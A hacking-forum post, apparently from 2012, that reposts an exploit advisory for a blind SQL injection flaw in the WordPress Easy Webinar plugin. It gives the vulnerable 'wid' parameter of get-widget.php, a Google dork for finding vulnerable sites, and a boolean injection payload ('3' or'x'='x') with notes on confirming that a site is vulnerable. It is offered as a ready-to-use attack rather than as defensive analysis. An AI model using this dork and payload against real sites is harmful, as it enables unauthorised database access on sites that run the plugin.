+- Sinisterly (https://sinister.li)
+-- Forum: Hacking (https://sinister.li/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.li/Forum-Website-Server-Hacking)
+--- Thread: Wordpress Easy Webinar Plugin Blind SQL Injection Vulnerability (/Thread-Wordpress-Easy-Webinar-Plugin-Blind-SQL-Injection-Vulnerability)
Wordpress Easy Webinar Plugin Blind SQL Injection Vulnerability - Stricker - 10-28-2012
Code:
#ExploitTitle:Wordpress Easy
Webinar Plugin Blind SQL Injection
Vulnerability
#VendorHomepage:
www.easywebinarplugin.com
#Date:10/26/2012
#Author:RobertCooper(robert.cooper
[at]areyousecure.net)
#Testedon:[Linux/Windows7]
#Vulnerable Parameters:wid=
#GoogleDork:allinurl:get-
widget.php?wid=
##############################################################
Exploit:
www.example.com/wp-content/plugins/
webinar_plugin/get-widget.php?wid=
[SQLi]
Note:The HTTP response will read 404,
but this is false:
www.example.com/wp-content/plugins/
webinar_plugin/get-widget.php?wid=3'
or'x'='x
This wil lresult in the page loading
correctly and show that the pluginis
vulnerable to injection (string).
##############################################################